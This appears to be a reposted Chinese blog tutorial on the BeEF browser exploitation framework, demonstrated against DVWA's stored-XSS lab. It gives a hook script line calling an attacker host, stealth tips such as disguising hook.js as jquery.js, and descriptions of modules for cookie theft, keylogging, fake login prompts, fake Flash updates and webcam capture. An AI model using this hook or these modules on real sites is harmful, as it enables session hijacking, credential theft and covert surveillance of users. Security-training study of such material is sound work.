XSS自动化工具——Beef
Beef的使用
- 一、Beef簡介
- 二、beef的下載安裝
- 三、Beef配置
- 四、Beef的使用
- 五、Beef的主要功能
在我的記憶之中之前是有些過關于beef這款工具的使用的文章的,然而最近整理博客,一看,發現怎么沒有了,可能是我忘了吧,或者可能也可能是在夢里寫了。。。今天來寫一下吧
一、Beef簡介
Browser Exploitation Framework (BeEF)
BeEF 是目前最強大的瀏覽器開源滲透測試框架,通過xss漏洞配合JS腳本和Metasploit進行滲透,
BeEF 是基于Ruby語言編寫的,并且支持圖形化操作,操作簡單。
beef官方網站:http://beefproject.com/
工程框架:
在這里插入圖片描述zombie(僵尸)即受害的瀏覽器。zombie是被hook(勾連)的,如果瀏覽器訪問了有勾子(由js編 寫)的頁面,就會被hook,勾連的瀏覽器會執行初始代碼返回一些信息,接著zombie會每隔一段時間 (默認為1秒)就會向BeEF服務器發送一個請求,詢問是否有新的代碼需要執行。BeEF服務器本質上就 像一個Web應用,被分為前端UI,和后端。前端會輪詢后端是否有新的數據需要更新,同時前端也可以向后端發送指示, BeEF持有者可以通過瀏覽器來登錄BeEF 的后臺管理UI。
二、beef的下載安裝
kali自帶beef
如果沒有的話通過以下方式進行下載安裝
apt-get update
apt-get install beef-xss
安裝完之后開始 beef
cd /usr/share/beef-xss/ # 切換到beef所在目錄
./beef # 啟動 beef
啟動 beef 出現
[!] ERROR: Don’t use default username and password!
|_ Change the beef.credentials.passwd in /etc/beef-xss/config.yaml
然后根據提示去修改配置。
vim /etc/beef-xss/config.yaml
可以進行更改賬號密碼
修改完之后,Beef安裝即為成功
接下來啟動beef
在命令行輸入命令:beef-xss
即可啟動beef,自動彈出beef瀏覽器窗口,輸入賬號密碼即可進入
三、Beef配置
kali下的BeeF配置文件在 /usr/share/beef-xss/con?g.yaml,其它的配置文件也在這個目錄的子目錄下,往后在使用某些功能時,需要修改對應的配置文件。自主安裝的BeeF配置文件會在BeeF的主目錄 下con?g.yaml,建議修改幾個地方:
permitted_hooking_subnet: “0.0.0.0/0” #指定某個網段,只有在這個網段的瀏覽器才能被hook
permitted_ui_subnet: “0.0.0.0/0” #指定某個網段,只有在這個網段的瀏覽器才能訪問管理UI
#上面這兩項都是可以被繞過的,只要使用X-Forwarded-For首部繞過,一般不需要設置
host: “0.0.0.0” #設置beef服務器的主機, 如果有自己的域名, 那么可以設置自己的域名, 沒有就使用默認
port: “3000” #設置beef服務器監聽的端口, 可以自己定一個,比如8080, 記得端口號需要大于1024
xhr_poll_timeout: 1000 #受害瀏覽器輪詢beef主機的時間, 默認為1秒,可以設置為更低。
public: “” #public hostname/IP address
public_port: “” #experimental
# 這是讓BeEF運行在一個反向代理或者NAT環境下才需要設置的。
web_ui_basepath: “/ui” #管理頁面的URI, 默認是/ui, 建議修改,這樣就不會讓別人找到你的管理頁面
hook_file: “/hook.js” #hook_file 的名稱, 建議修改, 可以修改為jquery.js之類的來提升隱蔽性
credentials: user: “beef” passwd: “beef” #管理頁面登錄的用戶名和密碼, 這個一定要改,兩個都改是最好的
四、Beef的使用
首先看登錄成功的頁面,左邊有兩個文件夾樣式的東東,很好理解,就是字面意思,在線瀏覽器和不在線瀏覽器
利用
鉤子命令:<script src="http://<IP>:3000/hook.js"></script>
這里用DVWA里的XSS漏洞靶場來做利用beef攻擊的演示
這里的XSS存儲型靶場它還有字符串長度的限制,我們先按F12進入源代碼來修改一下長度限制
然后就可以在留言輸入框中插入惡意的script代碼了。把我們上面的beef鉤子代碼粘貼進去,其中ip為kali攻擊機ip
在修改瀏覽器前端限制輸入長度后,插入 <script src="http://192.168.2.131:3000/hook.js"></script>
成功插入,然后我再用我kali去訪問一下,
可以發現在線瀏覽器多了兩個,一個是win10我剛剛插入時上去的,另一個是我的kali瀏覽了中招的。
我們可以點擊進行相關操作。
點擊當前在線的主機,然后右邊會有選擇框(彈框如上),我們點擊 Current Browser ,然后下面就有一些功能項:Details、Logs、Commands、XssRays、Network、WebRTC
- Details是瀏覽器信息詳情
- Logs能記錄你在瀏覽器上的操作,點擊,輸入操作都能記錄
- Commands是你能對該瀏覽器進行哪些操作
Logs
記錄了被攻擊者在植入腳本的頁面進行的操作,如:鼠標點擊、輸入內容。
Commands
點擊Command,這里有一些我們可以使用的功能分類,一共有12個大的功能,括號里面的數字是每個功能分類里面的個數。
Broser:主要是針對瀏覽器的一些信息收集或攻擊,其下的子選項卡Hooked Domain主要是獲取HTTP屬性值,比如cookie、表單值等,還可以做 寫簡單的瀏覽器操作,比如替換href值,彈出警告框,重定向瀏覽器等。這個選項卡下的有些模塊會根據受害者的瀏覽器來決定是否顯示。主要是瀏覽器通用操作和其他基本信息檢測。
Chrome extensions:主要是針對谷歌瀏覽器擴展插件
Debug:調試功能
Exploits:漏洞利用,主要利用一些已公開的漏洞進行攻擊測試
Host:針對主機,比如檢測主機的瀏覽器、系統信息、IP地址、安裝軟件等等
IPEC:協議間通信。主要是用來連接、控制受害者瀏覽器的
Metasploit:Beef可通過配置和metasploit平臺聯合,一旦有受害者出現,可通過信息收集確定是否存在漏洞,進一步方便metasploit攻擊測試
Misc:雜項。
Network:網絡掃描
Persistence:維護受害者訪問
Phonegap:手機測試
Social engineering:社會工程學攻擊
綠色模塊:可以執行且目標不可見
紅色模塊:不適合當前目標
橙色模塊:可以執行但目標可見
灰色模塊:未在目標瀏覽器上測試過
點擊對應的功能后,點擊右下角按鈕執行,執行之后可以查看執行結果。
- Get Cookie 該模塊將從當前頁面檢索會話cookie。
- Get From Vakues 該模塊檢索頁面上所有輸入字段的名稱,類型和值。
- Get Page HREFs 該模塊將從目標頁面檢索所有超鏈接。
- Get Page HTML 該模塊將從當前頁面檢索HTML。
- Get Page and iframe HTML 該模塊將從當前頁面和任何iframe(具有相同來源)中檢索HTML。
- Remove stuck iframe 該模塊將刪除所有卡住的iframe(請注意,它將刪除該節點上的所有iframe!)。
- Replace HREFs 該模塊將重寫所有匹配鏈接的所有href屬性。
- Replace HREFs(click Events) 該模塊將使用Bilawal Hameed對click事件處理的更新來重寫所有匹配鏈接的所有href屬性。這將隱藏所有更新鏈接的目標站點。(意識是鼠標點向超鏈接,超鏈接任然會下會顯示原來的鏈接,但是點擊之后跳轉到指定的網站)
- Replace HREFs (HTTPS) 該模塊將重寫HTTPS鏈接的所有href屬性,以使用HTTP代替HTTPS。相對于Web根的鏈接不會被重寫。
- Replace HREFs (TEL) 此模塊將重寫電話鏈接的所有href屬性(即tel:5558585)以撥打您選擇的號碼。
- Fingerprint Ajax 鉤住的頁面上有指紋Ajax和JS庫。
- Overflow Cookie Jar 該模塊嘗試執行John Wilander的CookieJar溢出。他在Owasp 1-liner項目中證明了這一點。使用此模塊,可以擦除具有HTTPOnly標志和/或HTTPS標志的cookie。之后,您可以嘗試重新創建這些cookie作為普通cookie。
- Create Alert Dialog 將警報對話框發送到掛鉤的瀏覽器。
- Create Prompt Dialog 將結束對話框的提示對話框。(這個可以填入,您的密碼已過期,請重新輸入。然后beef這邊會接收輸入的數據)
- Redirect Browser 該模塊會將選定的已掛鉤的瀏覽器重定向到“重定向URL”輸入中指定的地址。(直接重定向跳轉)
- Redirect Browser (Rickroll) 用全屏Rickroll覆蓋受害者所在頁面的正文。(受害者頁面全屏變白了)
- Redirect Browser (iFrame) 他的模塊創建了100%x 100%的重疊iframe,并使瀏覽器始終掛在框架上。iframe的內容,頁面標題,頁面快捷方式圖標和時間延遲在以下參數中指定。URL欄的內容在掛鉤的瀏覽器中不會更改。(此時雖然頁面變了,但只是iframe的作用,所以主機不會掉線,但是如果其他直接重定向跳轉到其他鏈接,主機就會掉線)
- Replace Component (Deface) 覆蓋掛鉤頁面的特定組件。
- Replace Content (Deface) 覆蓋頁面上的頁面,標題和快捷方式圖標。
- Replace Videos 使用包含您選擇的youtube視頻的嵌入標簽(默認為rickroll)替換用jQuery選擇的對象(默認情況下為所有嵌入標簽)。
這里挑幾個有趣的詳細說一下
- Play Sound 在掛鉤的瀏覽器上播放聲音。
- Webcam 該模塊將向用戶顯示Adobe Flash“允許網絡攝像頭”對話框。用戶必須單擊允許按鈕,否則該模塊將不返回圖片。可以定制說服用戶的標題/文本。您可以自定義要拍攝的照片數量和間隔時間(默認情況下將拍攝20張照片,每秒1張照片)。圖片以base64編碼的JPG字符串發送。
- Webcam Pemission Check 該模塊將檢查用戶是否已允許BeEF域(或所有域)使用Flash訪問攝像頭和麥克風。該模塊是透明的,用戶不應檢測到該模塊(即不會出現請求權限的彈出窗口)
Social Engineering 欄目也有好多有趣的功能。
- Fake Flash Update 提示用戶將更新安裝到Adobe Flash Player。交付的有效負載可以是自定義文件,瀏覽器擴展或任何特定的URI。提供的BeEF Firefox擴展禁用PortBanning(端口20、21、22、25、110、143),啟用Java,覆蓋UserAgent和默認的home / new_tab頁面。請參閱/ extensions / ipec / files / LinkTargetFinder目錄,以獲取Firefox擴展源代碼。Chrome擴展程序交付可在<= 20的Chrome上運行。從Chrome 21開始,在擴展程序的加載方式方面發生了一些變化。請參閱/extensions/demos/flash_update_chrome_extension/manifest.json了解更多信息以及適用于最新版Chrome的示例擴展。
- Fake Notification Bar (Firefox) 在屏幕頂部顯示一個假通知欄,類似于Firefox中顯示的通知欄。如果用戶單擊通知,將提示他們下載惡意的Firefox擴展(默認情況下)。
- Pretty Theft 使用浮動div詢問用戶其用戶名和密碼。
Persistence
- Create Pop Under 該模塊在帶有BeEF掛鉤的窗口下創建一個新的謹慎彈出窗口。另一個瀏覽器節點將被添加到掛鉤的瀏覽器樹中。現代瀏覽器默認情況下會阻止彈出窗口,并警告用戶該彈出窗口已被阻止(除非允許起源來生成彈出窗口)。但是,對于某些用戶啟動的事件(例如單擊頁面),將繞過此檢查。使用下面的“ clickjack”選項添加一個事件處理程序,當用戶單擊頁面上的任意位置時,該事件處理程序將生成彈出窗口。多次運行模塊將為一次單擊事件產生多個彈出窗口。注意:移動設備可能會在頂部打開新的彈出窗口或重定向當前窗口,而不是在后臺打開。
- Create Pop Under 該模塊在帶有BeEF掛鉤的窗口下創建一個新的謹慎彈出窗口。另一個瀏覽器節點將被添加到掛鉤的瀏覽器樹中。現代瀏覽器默認情況下會阻止彈出窗口,并警告用戶該彈出窗口已被阻止(除非允許起源來生成彈出窗口)。但是,對于某些用戶啟動的事件(例如單擊頁面),將繞過此檢查。使用下面的“ clickjack”選項添加一個事件處理程序,當用戶單擊頁面上的任意位置時,該事件處理程序將生成彈出窗口。多次運行模塊將為一次單擊事件產生多個彈出窗口。注意:移動設備可能會在頂部打開新的彈出窗口或重定向當前窗口,而不是在后臺打開。
圖中可見,中招的主機級別提高了,此時就算關了瀏覽器中的窗口,也不會下線,因為此選項執行后,會在電腦右下角生成一個小化的窗口訪問192.168.1.245:3000/demos/plain.html,從而控制受害者。
這個工具上我們主要可以看到存儲型XSS的危害。
五、Beef的主要功能
1、信息收集
- 網絡發現
- 主機信息
- cookie獲取
- 會話劫持
- 鍵盤記錄
- 插件信息
2、持久化控制
- 確認彈框
- 小窗口
- 中間人
3、社會工程
- 點擊劫持
- 彈窗告警
- 虛假頁面
- 釣魚頁面
4、滲透攻擊
- 內網滲透
- 結合Metasploit利用
- CSRF攻擊
- DDOS攻擊
總結
以上是生活随笔為你收集整理的XSS自动化工具——Beef的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: (微信编辑器)UEditor富文本嵌入1
- 下一篇: 北大信科计算机考研专业真题,GitHub